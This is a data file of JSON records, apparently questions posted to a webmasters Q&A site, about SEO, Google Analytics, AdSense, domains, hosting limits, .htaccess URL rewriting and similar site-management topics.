{"id":"52980","title":"Bypassing hosting provider country block","text":"My Apache server is located in a farm that is blocking an entire country for the sakes of 'security' and avoiding an hacking attack. I'm trying to bypass this block, and would like help in doing so. What I've thought of is creating a proxy with a different IP that will transfer all the traffic to my current Apache server that is being blocked. Can someone point out direction on what is the best way to do this along with implications I should be aware of? Is there maybe a service that provides such a solution without actually needing to find myself another server that will redirect the requests?"}
{"id":"15528","title":"Email marketing service with delayed sending?","text":"I would like to dispatch certain emails to users that sign up for my email communications at a fixed timeframe. For example, send email A after 7 days of signing up, email B after 21 days, etc. (assuming they don't unsubscribe). Are there email marketing services that can accommodate this?"}
{"id":"51642","title":"How to Trigger GA Event for Every Single Pageview (of a certain type)","text":"Thanks, edited my question. I need a reliable way to capture a GA event _whenever_ the GA tracking code fires for a particular page only. Doing so because we want to assign a dollar value to simply viewing a certain page (or type of page), and this can happen multiple times per visit, so a destination based goal isn't feasible I tried using a window.onload javascript (also tried window.onbeforeunload) to trigger the event, but I can only get about 80% of the pageviews to become events (and only about 12% for our mobile website!). Not accurate enough yet for \"prime time\" Thanks :)"}
{"id":"25596","title":"Can google my name to reach website but not the website title","text":"I am a counsellor. My wordpress blog is _mylocation_ counsellingandsupervision.co.uk. If I google, bing, yahoo my name my site comes up 1st or 2nd. If I google, bing, yahoo \" _mylocation_ counselling supervision\" in any combination the search engine does not find anything. If I have uploaded all the usual plugins etc I would like to know how search engines pick up my name but not the words of my website address."}
{"id":"2260","title":"SEO links from Facebook, Delicious, Digg are useful to increase Google PR?","text":"Does anyone know in his SEO experince if links coming from FaceBook, Delicious, Digg are useful to increase PageRank on Google? I would say NO cause most of thise links are nofollow and\/or stored in hidden areas (users require their account to read those pages). But lately when searching for some busineeses name, the 1st results on Google was the Facebook page of those businesses (that also irritated me), but I'm started wondering about this question."}
{"id":"32935","title":"Strange Google Analytics result when new site launched","text":"I have a web site which is mainly contains a few pages, and now we revamp-ed a new site which contains several hundred pages. We have Strange Google Analytics result, as follow: Before: Traffic sources (all traffic): 674 Content (all pages, unique PV): 674 After: Traffic sources (all traffic): 291 Content (all pages, unique PV): 1235 As you can see, the unique PV has increased as expected (as we have more pages now and the site is better), but why the traffic sources is lower and has a large gap? Any idea?"}
{"id":"42906","title":"What is the ranking impact of scripts added by some free hosting websites?","text":"I have noticed that some free hosting websites add scripts at the end of uploaded pages. For example: <noscript><a title=\"Free hosting\" href=\"http:\/\/www.1freehosting.com\">Free hosting<\/a><a title=\"Web host free\" href=\"http:\/\/www.1freehosting.com\">Web host free<\/a><a title=\"Free websites hosting\" href=\"http:\/\/www.1freehosting.com\/free-website-and-hosting.html\">Free websites hosting<\/a><\/noscript> <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-21588661-2']); _gaq.push(['_setDomainName', window.location.host]); _gaq.push(['_setAllowLinker', true]); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); var fga = document.createElement('script'); fga.type = 'text\/javascript'; fga.async = true; fga.src = ('https:' == document.location.protocol ? 'https:\/\/www' : 'http:\/\/www') + '.1freehosting.com\/cdn\/ga.js'; var fs = document.getElementsByTagName('script')[0]; fs.parentNode.insertBefore(fga, fs); })(); <\/script> Does Google penalize pages having these added scripts when ranking pages? Is there any ranking penalty for using free hosting websites in general (I mean other than possible server speed issues)?"}
{"id":"42907","title":"Is there a 'Subscription Cart' software available?","text":"I have a website, whereby members pay an annual feel. Initially the members were a few now it has fun into hundreds. Now I have to check existing members manually to see if their subscription is going to expire. Is there a online service similar to a shopping card in e-commerce where I just give this software the details of members and this software reminds members that their subscription is going to expire, and will send notifications until their payments are settled?"}
{"id":"49760","title":"Will switching Google Analytics account hurt SEO?","text":"I'm in a situation where my company does not have access to its analytics account nor the account recovery email address. We are concerned about the impact changing accounts will have since this has been in place for years. At the same time, we need access to the data."}
{"id":"38437","title":"Is it fine to put different category of stuff in a single domain name?","text":"I own a website which is regarding startups and finance. I am looking forward to work on Wordpress programming in which I would be selling wordpress themes. I thought of buying a domain name for Wordpress website but it takes quite lot of time to setup a website and then do its SEO. Is it fine(in terms of SEO and professionalism) to put the Wordpress category inside my old domain like, Domain: www.startupsandfinance.com Wordpress domain, www.wp.startupsandfinance.com"}
{"id":"52487","title":"Some clients cannot access their websites or mail, but I can. Not sure whats wrong","text":"I have about 5 clients whose sites are hosted on our VPS who cannot access their sites from their office computers. DNS is fine and there doesnt seem to be anything wrong with the host - no downtime and bandwidth limits and size is ok. Webmaster Tools also indicates nothing is wrong. I can access the site from several locations (office, home, friends place) but the clients cannot. I am at a loss as to what could be causing this. Could this be an issue with their ISP?"}
{"id":"38433","title":"Sending a small number of targeted emails, is it spamming?","text":"I have a directory website and I want to send focused emails, a small amount, less than 50 a month, to some of the businesses on my directory that get many visitors. The intention is to let them know many people are viewing their page and encourage them to update it and post information on it. How can I send this small number of emails without being targeted as spam? Also, should I send it from an email with the website's domain or will it better to send from a personal email? That way at least if email is tagged as spam sometimes it won't hurt the website's reputation, is this true?"}
{"id":"56406","title":"Can I have stand alone webpages indexed by Google?","text":"I am doing some market research, and aim to create several landing pages aimed at long tail searches. Do these landing pages need to be in the navigation, or have an incoming link from somewhere else on the website, in order to be included in Google's index? I don't want to include them in the navigation, because some of the landing pages will be addressing similar search terms, and they will look silly being listed next to each other if they are so similar. Likewise, I don't want to necessarily use a Sitemap page, which links to the landing pages. I don't want a website visitor know I use a variety of landing pages to entice traffic. So, is it possible for isolated, stand alone webpages to be included in the Google index?"}
{"id":"22905","title":"How many files can I stored in a linux folder?(Amazon EC2)","text":"On Linux systems (Amazon EC2), what is the maximum number of files that can be stored in one directory without slowing down performance? (I know too many files in one directory on Windows systems will cause the system to operate slowly.)"}
{"id":"46861","title":"Using SSL Certification in Multiple Locations","text":"I have some issues with respect to using SSL Certificates. I have a website hosted in UK and I also have an organisation in South Africa hosting my company application online for web access. The issue now comes as I want to implement SSL for both servers as it requires login from different places and different people. Is it possible to purchase just ONE SSL certificate foe the company in the company name (www.companyname.com) and use it for both purposes? Thanks"}
{"id":"3804","title":"How do I prevent a website being misclassified by Websense?","text":"I received the following email from a user of one of our websites: > This morning I tried to log into `example.com` and I was blocked by Websense > at work because it is considered a \"social networking\" site or something. I > assume the websense filter is maintained by a central location, so I'm > hoping that by letting you guys know you can get it unblocked. per Wikipedia, Websense is web filtering or Internet content-control software. This means one (or more) of our sites is being miscategorized by Websense as \"social networking\" and thus disallowed for access at any workplace that uses Websense to control what websites their users can and cannot access during work hours. (I know, they are monsters!) 1. How do we dispute this Websense classification error, as our websites should generally be considered \"information technology\" and never \"social networking\"? 2. How do we know what category Websense has put our sites in, so we can pro-actively make sure they're not wrong?"}
{"id":"2042","title":"What is the best implementation of the Facebook like-button you've seen?","text":"I'm looking into implementing the Facebook like-button on my site. Therefore i'm looking for some good examples of the use of the like-button. I'm looking at the placement of the like-button and the use of the Open Graph meta-properties. Please explain why you like a particular implementation"}
{"id":"46648","title":"Two different domain for specific languages pointing to one site","text":"I developing a client's blog and he needs it to be bilingual (english and spanish). Now what he wants is that users can get to the content based on the domain e.g. John enters `www.domain.com` and he gets the english version and Juan enters `www.elsenordominio.com` to get the spanish version. All content will be validated by PHP so the users and search engines only reads the domain related language. What do I need to use header re-direct or 301? Is it bad for SEO? Will Google will penalize me? I hope you guys can help me and forgive me if my english is not good."}
{"id":"57074","title":"Is mixing slugs with numbers & names in WordPress a bad SEO technique?","text":"While trying to get friendly URLs in WordPress, I discovered this WordPress forums post, which states: > WordPress has a monumental issue forbidding you to use the same category > slug more than once. It disallows you from having a category tree like this: > > Cars: > - Honda (`mysite.com\/cars\/honda`) > - Toyota (`mysite.com\/cars\/toyota`) > > Trucks: > - Honda (`mysite.com\/trucks\/honda`) > - Toyota (`mysite.com\/trucks\/toyota`) So the question is, how bad is this from an SEO point-of-view to use something like: mysite.com\/cars\/1-honda\/4-red mysite.com\/trucks\/2-honda\/5-red mysite.com\/motors\/3-honda\/6-red where 1,2,3,4,5,6 are the category ID's. Would you recommend using this instead: mysite.com\/cars\/1-honda\/1-red or this: mysite.com\/cars\/car-honda\/color-red"}
{"id":"5826","title":"Google AdSense bot's algorithm and behavior","text":"I am interesting in Google AdSense bot's algorithm and behavior with web site. I did not work with AdSense and I do not have account. So I need your help to understand: 1) Google's bot from time to time downloads all pages from web site. Am I right? 2) Google's bot does not understand dynamic content (loaded by Ajax). So I must generate static content and return it within HTML page and this pages must show identical content for all users and for Google bot? 3) Because of (1) and (2) I cannot use only root path `http:\/\/example.com` with some \"main\" widget. I must generate unique pages for example `http:\/\/example.com\/thread?id=101`? 4) Gbot downloads pages (1) for grabbing (indexing) keywords from them and then store (on it's servers) these information for example by key\/value (where key is page path, value is tag cloud). Am i right? 5) When web site has been opened in browser by user. Integrated HTML AdSense's code loads some JavaScript. As I understand by \"Googling\" this JavaScript do not index page, but makes call (with some parameter key==page_path) to Google's server and gets appropriate ad links. Then shows this ad links in it's frame. Is it right behavior? Maybe JavaScript makes some local indexing of page's content? 6) How Google's bot and AdSense's JavaScript work with cookies? As I understand AdSense can use cookies for show appropriate ad links. If it is right, please give me some use cases;) I know that \"true\" algorithm is known only by engineers from Google. But some of you had experience with AdSense and AdSense HTML\/JavaScript. Please correct my vision of it;) Thank you very much for any advice!!! P.S. This question is very important for me. It is not some question for fun! So Please do not close it;)"}
{"id":"18068","title":"We've had our content copied under a different URL - why and what do we do?","text":"We have a problem. We've noticed a large amount of traffic showing up on our Google Analytics. Upon further investigation we have found that we've had our content copied under a different URL. Our site: http:\/\/www.targetis.co.uk The coppied site: http:\/\/www.target-is.com (isn't showing up with Chrome for us) We don't own this domain. Their content is hosted with them (not via proxy). The large part of the traffic is coming from video hosting site. What do we do?"}
{"id":"11263","title":"CSS2 way of accomplishing what CSS3 border-image does?","text":"What is the best way these days to make a visually interesting border around a div using images? CSS3's border-image would perfect, but it's CSS3. I don't want to rely on that yet. Is there a CSS2-compatible way to accomplish the same thing? My audience is mostly with-it, tech-savvy, not needing hacks for decrepit old browsers, but aren't necessarily all up on the cutting edge like CSS3 either. As an alternative to CSS for this, I tried some experiments with 3x3 tables using the images as cell background or cell content. The main content would go in the middle cell. I couldn't get the side images to stretch or repeat properly when the content varied."}
{"id":"11614","title":"Why use adzerk?","text":"SO used adzerk to serve adverts. I'm a bit confused by it though, what's it do and what's the point of it? Why can't SO serve their own adverts?"}
{"id":"57051","title":"Is it really necessary to approve each website to place my AdSense code on it?","text":"As I understand AdSense's policy, I'm obliged to approve each website I'd like to use AdSense on. But in one Russian Webmasters forum, I heard that I can do it just once for one of my websites and the ad's code can then be the same for all of my other websites. Is that accurate?"}
{"id":"57504","title":"Why popular sites don't use subdomains or subfolders for multi-language translations?","text":"I read many discussions about the epic question: \"subdomains vs folders for multi-language sites\". However, I'm really curious to know why the big guys (Facebook, Twitter, Tumblr, YouTube, Vimeo, Reddit, etc.) do not use any of the two options. Could someone explain this?"}
{"id":"48680","title":"How can you find using apache logs who logged in your server?","text":"I have a application that running on apache web server, is there any way under apache logs i can identify name \/ ip address of user who logged into the system. And also the date \/ time of who last opened or accessed the logs?"}
{"id":"11619","title":"Surviving an system audit, what are categories of regulation and\/or compliance?","text":"For example: * Storage regulation credit credits, patient information * Documenting compliance: CAN-SPAM"}
{"id":"58853","title":"unusual autoindex-like commands","text":"In looking at my logs, I get many GET requests aimed at a directory with what appear to be auto-index parameters. Stuff like ?C=M or ?O=A. I understand those. But I also get many requests with ?N=D, ?M=A, ?N=A, ?C=S, ?D=A. I don't have a clue what those mean. Is there some complete list of these commands that describes what they do? On my system, they just throw the requester to my index.html file. What are these requesters trying to do? http:\/\/httpd.apache.org\/docs\/2.2\/mod\/mod_autoindex.html just gives a few of them."}
{"id":"58851","title":"Hign traffic but low alexa rank","text":"Hy guys, I have an website for more than one year. (it's a blog with .com domain) I track my visitors using google analytics and I mention that I have an average of 7000 unique visitors\/day. I this whole year since my blog is online I had over 2.000.000 unique visitors. BUT wit all this, my alexa.com rank is 25.000.000. How is it possible? (I menion that some of my visitors came from PTC websites or traffic exchanges)"}
{"id":"54888","title":"Getting ASP on Google App Engine","text":"How do you get ASP to work on Google App Engine? I have tried to put ASP code on a webpage but it just showed like it was normal text."}
{"id":"33478","title":"Is traffic coming from URL shorteners treated as direct?","text":"Traffic coming form shortened URLs like `bit.ly`, do they show up in Google Analytics as direct or do they keep their real referrer? Ex.: if someone types in a `bit.ly` link it counts as direct, but if someone clicks a `bit.ly` link from Twitter, it counts as referral traffic from Twitter?"}
{"id":"18450","title":"Best way to build links and target my keywords","text":"Lest say I want to target \"used cars\" (i know, i know, tough keyword, etc... but this is for the sake of an example) Using google keywords webmaster tools, I have a list of keywords: They are exact phrases and the number is total searches. [used cars for sale] 201000 [used cars ni] 110000 [used car] 74000 [used car prices] 60500 [used cars for sale by owner] 49500 [used car values] 49500 [used car sales] 27100 [buy used cars] 27100 [used car parts] 27100 [cheap used cars] 22200 [used cars uk] 22200 [used cars for sale uk] 22200 [best used cars] 18100 [japanese used cars] 18100 [used car search] 14800 [used car dealers] 14800 [parkers guide to used cars] 14800 [used car dealerships] 14800 [parkers used car prices] 12100 [used cars usa] 12100 [used cars ireland] 12100 [used car value] 12100 [kbb used cars] 9900 [used car for sale] 9900 If you were me, what would you do? 1. Build trades with all the anchors, and after some time wait for the website to rank for some of them? This is in conjunction to a post I read about a seochat member talking about searching patterns and that is best to target a wide variety of anchors... eventually you will start ranking for lots of keyword combinations. This way the site also obtains a natural linking profile, especially combining with url only anchors, click here, etc. 2. This is what I am inclined to do: Get the easiest keyword, least competitive. I haven-t done any competition study but lets assume for the sake of the example that the least competitive term is the one with the least number of searches, used car for sale. Build links only with this keyword but add some buffer words for keyword diversity like: UK used car for sale, best used car for sale, buy used car for sale - many of the buffer words being extracted from other searches above. Wait until I reach good position in serps and then move to another search term and so on. Which method do you think is best? More importantly how would you do it?"}
{"id":"53257","title":"How to know if a domain is blacklisted by Google?","text":"I found an available domain name which I want to buy, and I realize that it was previously owned. I searched for it like `site:domain.com` in Google, and I only found one link, which is the homepage. Of course it's closed now, I looked at the cached copy of it, and it was an empty white page. I also looked at Wayback Machine, which shows some copies from 2009 to August 2013, it says that it was used by a Spanish web design company. I wonder if they have done something spammy and get dropped from Google's index. So, 1. How do I find out if there is really a \"blockage\" on that domain? 2. If there is, is there something I can do to get it indexed back?"}
{"id":"27993","title":"How to use HTTP Handler to make a client2client communication?","text":"I'm new to Web programming! I try to make an app (something like Client to Client communication with C# Handlers and jQuery). I.E.: When 1Client make a click on his clientSide(browser), there paints one point, and on the same time the 2Client sees what 1Client did. And, in turn, where 2Client make a click on his browser, there paints one point, and the 1Client also sees what 2Client did. I could done already the configuration of IIS, I made an simple show Hello World and it run OK. And, further, what should i done.... Can you advice me, please, with some exemples, or tutorials, how to do this job. Sorry for my questions which seems to be not studied."}
{"id":"17728","title":"what is a no-text[0-9] requests?","text":"I have a bunch of requests coming through on my site which looks like the one below: `example.com\/page\/no-text-1154169030774935240` Is this hacking attempts or search engines? EDIT: my question is regarding the request. The string at the end is used for an identifier which will load the appropriate page. Someone or something is passing the no-text-[0-9] string. I would like to know if it hacking attempts or search engines trying to index the site? Thanks"}
{"id":"48761","title":"Does domain suffix affect SEO?","text":"my first question here! I have a question regarding URL suffixes. Say I have a company, let's call it `example-it`. If I then purchase the domain `www.example.it`, thus incorporating the company name into the domain would this affect how it is ranked in Google? And what version of Google this is displayed in? So for example would a search engine \"assume\" that this is an Italian domain and give it less precedence when searched for from `.co.uk` or`.com` search engines? Or is SEO driven solely on content? Any help would be much appreciated and if you need more info please let me know."}
{"id":"17720","title":"Transferring a Domain Safely","text":"I want to transfer a domain that I am buying off somebody but I want to make sure i'm not getting scammed. Is there some kind of 3rd-party website that can help me with this kind of transfer so that I can safely buy the domain and move it over to me?"}
{"id":"52731","title":"How to fix unknown broken link error in WordPress?","text":"I've been working on a client website and found that there are broken links. I have fixed most of the links. Most of the broken links are generated from comments. So I fixed them. But still when I looked at Google Webmaster's crawl errors report, I found that there are some unknown links that are broken. Below is the sample link. http:\/\/www.example.com\/page\/28\/?fp=Twi%2F%2BHPwpi0h%2BBLrRBkxr3g%2BDZqT3dMQEyZoMB9Vyr8a32tVIcV8TXacqTSIan7Hptmo3Cu2yK%2BaCpwqw3FyfQ%3D%3D&prvtof=%2BqlsYAG0dA4qBx1hwWeIQmT3nye0uCkq%2BMLt2Xqr054%3D&poru=yUrkHSWnV4mif2swfPf6mrVD0%2FYKFgqtO2zieP4S9nRA3akMh0suIh%2FGpO2zI%2Fqx There is another broken link like `http:\/\/www.example.com\/page\/37`. Google Webmaster Tools says that homepage is linked to the above link but that's not true. Not even a single link is linked to that pagination URL. I'm unable to find this link, and I even checked this with _Broken Link Checker_ WordPress plugin but unable to find any solution. Please tell me why this is being produced and how to fix it? Also please tell me how much time it takes to update Google Webmaster's crawl errors report?"}
{"id":"17722","title":"How to overcome Google penalties for blogger","text":"Suddenly my blog stop appearing in Google search & there is a huge dip in traffic, i went to webmaster tool & applied for re consideration. i don't no the exact reason why it happened like that, i forgot to add Disclaimer would it cause problem? How to identify what makes google to remove my blog from search index? Does google reconsider my blog? are there any alternatives for it?"}
{"id":"9613","title":"Platform that suits best to build a website similar to freelancer.com?","text":"I want to build something similar with limited functionality. Just a basic version. Is there a platform that I can use like Wordpress for rapid development?"}
{"id":"28794","title":"Easy way to do roll up reporting in Google Analytics?","text":"Is there an easy way to do roll up reporting in Google Analytics when you have multiple domains and each has at least 2 subdomains?"}
{"id":"57300","title":"What is the best practice to have a number in the clean URL or not?","text":"I'm confusing to choose my clean URL format for better SEO. Here are my two options: 1. example.com\/apple 2. example.com\/123\/apple The first format is very clean. It would be much more familiar and easier to read for search engine users. But I need to query the content from db using slug - \"apple\" in this case. The second format uses a numeric ID of the content from db - \"123\" for the title \"apple\". It would be less familiar to users. But I can query the content from db using ID. This will make more efficient from the speed perspective. The StackExchange questions use the second format like > stackexchange.com\/questions\/123\/question-title-slug-here But it has the very good SEO. I notice Google crawls questions fastly and they are listed in the first SERP in a very few hours. Both SEO and speed is important for my site. Please suggest me what is the best option."}
{"id":"60641","title":"Multiple index pages on website for multiple locations, SEO no-no?","text":"We have a ecommerce website that can deliver products all over the country. We have seen at least one of our other competitors create an index page for every city in the country. So the pages essentially have the same content, but contain a different city name in various key parts of the page. They do not have multiple locations\/stores or anything. They have managed to get a lot of these pages listed in Google so that when a user searches for the product in a particular location, they pop up at the top. My question is, would it hurt the website rankings in terms of SEO if we were to do the same? We can deliver to all over the country. I haven't really found out definitively if this is a no-no in terms of SEO?"}
{"id":"60643","title":"Why does jkmwpkl.gov.my only look like it should on Chrome for Windows?","text":"1. Go to jkmwpkl.gov.my on Chrome for Ubuntu 13.10 2. Note that the page does not display correctly 3. Go to jkmwpkl.gov.my on Chrome for Windows 7 4. Note that it DOES display correctly. So why the discrepancy? This is what it looks like on 13.10  This is what it should look like "}
{"id":"63593","title":".htaccess URL rewriting friendly URL with 2 parameters, the second parameter is optional","text":"I'm kind of stuck at this part and was hoping that I'd get some assistance. I'm building a highscores page in PHP, that's going great, it works. However, I dislike the idea of `index.php?skill=name` and therefore wanted a bit of SEO in this. I have successfully replaced the url with a more friendly version: `highscores\/skill\/name` And this is where the problem starts, I have added pagination to the highscores and the page is read from the HTTP_GET page variable (`$_GET['page']`). I dislike the idea of `highscores\/skill\/name&page=2` and was hoping if you guys could assist me to make the url like the following: Page 1, so accessing the file without declaring the page number: DOMAIN.TLD\/highscores\/skill\/name Page > 1 so now the page variable is needed: DOMAIN.TLD\/highscores\/skill\/name\/2 As you can tell the \"2\" will define page 2 and load the correct data for page 2. However, I'm having much trouble in my .htaccess file to configure it this way. RewriteRule ^highscores\\\/skill\\\/(.*?)(\\\/(.*?)*)$ highscores\/skills.php?skill=$1&page=$2 [L] # Skills page That is my latest attempt in order to get it to work, unfortunately it does not work, it makes the page look horrible (CSS doesn't work) and it doesn't go to the page specified on the URL. * * * **PART 2** - Thanks to w3d for solving my first issue, however, I now face a second issue, which I was hoping the first issue would fix for me. My index page in the highscores directory shows the overall scores, `domain.tld\/highscores\/`. However, I don't like the idea of `domain.tld\/highscores\/?page=2` Could you tell me how to make it like: `domain.tld\/highscores\/2` the `2` being the page number of course. Here's what I've tried: RewriteRule ^highscores\/([^\/]+)?$ .\/highscores\/index.php?page=$1 [L]"}
{"id":"53282","title":"I now own both, .net and .com extensions for a business page. Should I change the default?","text":"**Back in 2007 I purchased a`.net` domain for a certain company because the `.com` was taken.** The website grew, and I consider it to have a good amount of visits, keeping in mind its a business page, and not eCommerce. It also attracts a lot of customers, and the owners are very happy with it. A couple of years ago, I was also able to purchase the `.com` domain, and I never really did anything with it but forward to the `.net` domain. Now, `.com` domains were supposed to be used for commercial sites, but are also the most used in the world for any other type of site, while `.net` were supposed to be for networks. We know a lot of people, including myself don't always follow this. Now, **in my opinion, I always thought of websites ending in`.com` as more trustworthy**. I'm not sure why, if because they were always more widely used, or if because, as in my case, `.net` were usually the sites who could not get the `.com` extension. Part 1 **My questions are:** **A** - Do people share this vision of `.com` being more trustworthy? **B** - Should I think about moving to the different domain name? **C** - And if so, what proper steps should I take to make sure I don't lose any rankings?"}
{"id":"36020","title":"Average of 26 Mbit\/s how many GBs\/month?","text":"I need to know how many data my server transfer over a month. I know from my control panel only my average Mbit\/s daily that is: **26Mb\/s**. Doing some calc: 26Mbit\/s = 3.25 Mbyte\/s * Daily usage: 86400 (seconds) * 3.25 (Mbyte\/s) = 280'800 Megabyte * Month usage: 30*280800 = 8'424'000 Megabyte So each month my server transfer `8000 GB` (8 TB). Is it correct?"}
{"id":"33180","title":"What news aggregator with approval system can I use?","text":"We have an automated news feed that publishes news articles on our website when we have been mentioned in the media, but before the articles are published we would like to approve (or reject) them. The dirtiest way to do it is to use a Google News RSS feed, and then when an article is published we post a link in our \"news\" section of the site, but this is too manual. What we would like to do - and I think Yahoo pipes is the technology we need to use - is to have the ability to 'approve' or 'reject' a news article and then the approved articles will be fed through to the widget that will be published on our website. Will yahoo pipes let us do this? or am I stretching the functionality out a bit?"}
{"id":"15533","title":"Facebook - \"openID\" danger?","text":"I am scared that someone can get into anybodys account on my game, if user does not have Facebook. Stealer makes facebook with same email that user in my game, and then click \"Login with facebook\" -> redirects him to permission page -> back to my page - it detects that facebook email is same as victim's and -> stealer is logged into victims account. How could I prevent this? Just t allow LOGGED in users to associate their account with facebook's ?"}
{"id":"33211","title":"Authorize.net CIM or using the module's storage","text":"this site is intended to allow users to sign up and pay for a service, they will be able to pay using Paypal and Authorize.net since I am using two different payment gateways, it makes me wonder where I want to keep the user information. Authorize.net offers CIM, but some users will pay with paypal therefore Authorize.net won't have all user's information Would the best solution then be to not use CIM and store everything within my member database module? for the record I am using OSE for Joomla for my subscriber service"}
{"id":"33187","title":"WordPress feeds not indexing in webmaster tools","text":"I don't have much experience about webmaster tools, i just know the basic of the webmaster, and i am not from SEO background, but i just want to know that: 1. Why my blog's RSS Feeds not indexing from webmaster tools? 2. i want to know about Crawl Stat is this stat is good or bad? 3. To submit the RSS into the webmaster is good for indexing the pages or not?? i also submitted the sitemap. the link of the website is Webtech Eleven  "}
{"id":"68314","title":"Google is re-indexing pages after redirecting URLs from HTTP to HTTPS incorrectly","text":"I upgraded my site so that all pages have gone from using HTTP to HTTPS. I didn't consider that Google treats HTTPS pages differently than HTTP. I recreated my sitemap to so that all links now reflect the new HTTPS URLs and let it be for a few days. (Whoops!) Google is now re-indexing all the HTTPS pages. I have about 19k pages on the site, and Google has already indexed about 8k of the new HTTPS pages. The problem is that Google sees all of these as brand new pages when many of them have a long HTTP history. Of course most of you will recognize the problem, I didn't set up a `301` from the old HTTP to the new HTTPS URLs. Is it too late to do this? Should I switch my sitemap back to HTTP URLs and then `301` redirect to the new HTTPS URls? Or should I leave the sitemap as is, and setup `301` redirects anyway... I'm not even sure if Google is trying to reach the HTTP site anymore. Currently the site is doing `303` redirects (from HTTP to HTTPS), although I haven't figured out why yet."}
{"id":"34976","title":"Webpage for both tablet and PC","text":"Can we develop webpages that will work on both tablet, say Android, and Desktops\/PCs (here I'm looking at non flash based web pages). Since I was looking at Sencha, do we need to use both Sencha Architect and Sencha Touch for the above development requirement? Any other better alternatives?"}
{"id":"20415","title":"Is 2.5% (12.5k page views per day) good as compared to my total index pages which is 5,00,000 pages?","text":"Is 2.5% (12.5k page views per day) good as compared to my total index pages which is 5,00,000 pages? If not, how much % should be a good one?"}
{"id":"10092","title":"Making a Site More \"Up-to-Date\" - Ideas?","text":"We have a website and want it to be more up-to-date. So far, we've made the site compatible with mobile devices and created a FaceBook page for it. What are some other things we can do for our site to make it more up-to-date?"}
{"id":"10090","title":"SEO Keyword Research Help","text":"I'm new at SEO and keyword research. I am using Market Samurai as my research tool, and I was wondering if I could ask for your help to identify the best key word to target for my niche. I do plan on incorporating all of them into my site, but I wanted to start with one. If you could give me your input on these keywords, I would appreciate it. This is all new to me :) I'm too new to post pictures, but here are my keywords (Searches, SEO Traffic, and SEO Value \/ Day): Searches | SEO Traffic | PBR | SEO Value | Average PR\/Backlinks of Current Top 10 1: 730 | 307 | 20% | 2311.33 | 1.9 \/ 7k-60k 2: 325 | 137 | 24% | 822.94 | 2.3 \/ 7k-60k 3: 398 | 167 | 82% | 589.79 | 1.6 \/ 7k-60k I'm wondering if the PBR (Phrase-to-broad) value of #1 is too low. It seems like the best value because the SEOV is crazy high. That is like $70k a month. #3 has the highest PBR, but also the lowest SEOV. #2 doesn't seem worth it because of the PR competetion. Might be a little too hard to get into the top page of Google. I'm wondering which keywords to target, and if I should be looking at any other metric to see if this is a profitable niche to jump into. Thanks."}
{"id":"67035","title":"Google Adwords campaign is not receiving any traffic at all, despite raising my bid","text":"I have two sets of ads, one for search and one for display network only. The search ads have had 2 impressions, no clicks, the daily budget is £15 and there are 94 keywords targeted, 75 are those recommended by Google's Opportunities. The display network ads were getting clicks, 121 in total from 47,000 impressions. The daily spend was £7. No there are no impressions and no clicks, so I increased the daily budget to £25, still no new impressions. Both are active and approved. I have no idea what has happened. Why as the former never had any impressions and why the latter has simply stopped working over night. Bids are set to 'Focus on clicks, automatic bidding, no CPC bid limit'. But looking it says \"auto £3.96\". They are high competition. The keyword planner suggests bids of 70p - which is much lower than I think its set to?"}
{"id":"67032","title":"URL Rewrite with spaces or with -?","text":"Which URL is more SEO? `mydomain.com\/category-name\/article-name.html` OR `mydomain.com\/category name\/article name.html` I have read some articles about URL Rewriting but there I can't find any conclusion."}
{"id":"60664","title":"Unlimited Inodes?","text":"I am currently trying to find a host for my website. The website allows people to host projects in a somewhat similarish way to this. I would rather not reveal more about what it is until I release it. The problem is, that with users uploading files for their `mods\/projects\/etc` I would quickly reach any inode limit, espically with my current folder structure. `http:\/\/www.example.com\/files\/HOrrZCINYUoTxPVzaRrRFYUQRDxPPRun\/wiD4Pj38Tkq\/SomeFileUploadedWithTheProperNameStillHere.jar`. As you can see from that, it is a quite long URL. The first set of jumble is the project id (every project has one), it stays the same for all files of the same project. The second set of jumble is the file id, randomly generated for each file. There is a file id so that files of the same name can be uploaded to each project (Example would if someone uploads 2 _MyProject.jar_ files, one for version 1 and another for version 2). So far I cannot find any hosts that allow for unlimited inodes, every host has a 25,000-500,000 limit (hence too small). Even if that was big enough, I would prefer not to have the imminent loom of inode limit bypassing over my head all the time (It would drive me insane). I would like either a link to a host with unlimited MySQL, disk space, and inodes. Or another way to do this. I was thinking about storing the files in a MySQL database, however it seems like most hosts limit those too (Including the database's files in the inode count)."}
{"id":"68910","title":"Creating bilingual site, positioning new language version","text":"I have a website that right now is only in Polish. I would like to make an English version that would work on the different domain, so that I can start positioning it for English keywords. I think I will find my way around translating it to English using library gettext or similar method - to make it easier for me to manage those two versions I would like to not duplicate every file, only change the language on setting a certain variable. I am not sure how to force the page to display in English once accessed from English domain. Is it possible to achieve it with hatccess? I also heard of a method that would point the English domain to other index.php that would set the language variable for English, would that be a correct approach?"}
{"id":"68913","title":"How to block all hacking?","text":"The title explains most of my question. The OS is linux (Lubuntu). The servers are Apache2 (PHP5), MySQL 5.6 and FTP (Samba)."}
{"id":"57605","title":"How do I handle duplicated content on related domains?","text":"I am in charge of two unique domains - one on which my client sells activity packages, and the other where he sells resort information. One place shows the user what he can do and the other shows where he can stay. He wants both sites to have common inter related content. My questions are: 1. If I create similar content pages with the same url (the domain name will be different of course), will I be penalised? 2. Should I have canonical urls for each? How will that help?"}
{"id":"12946","title":"Getting a second domain to help direct traffic to my main domain?","text":"The business I work has a fairly long, 4 word name. The domain they've been using is the first letter of the first three words, and then the last word spelled out. For now we'll refer to it as \"The Ant Farm Society\" or \"TAFSociety.com\". I've been SEO'ing their site and doing a good job at it, and I'll probably feel the affects of what I've done in a few weeks. However as of now, they don't show up on the first page of google for \"The Ant Farm Society\". I recently found out that The-Ant-Farm-Society.com is available. Would it be beneficial or detrimental for me to use that domain? My thoughts were to use a nice design, put around 10 related articles on there, and have it ultimately link to their main site, \"TAFSociety.com\". Is it wise to do this? Or should I just focus on bringing up their abbreviated domain name? Your thoughts are greatly appreciated. Thanks!"}
{"id":"29565","title":"Changes to site and homepage will not fetch as google and not indexed either","text":"please help. redesigned website and ever since then, homepage will not index NOR will it fetch as google. I keep getting failed on fetching. any ideas? thanks! My site"}
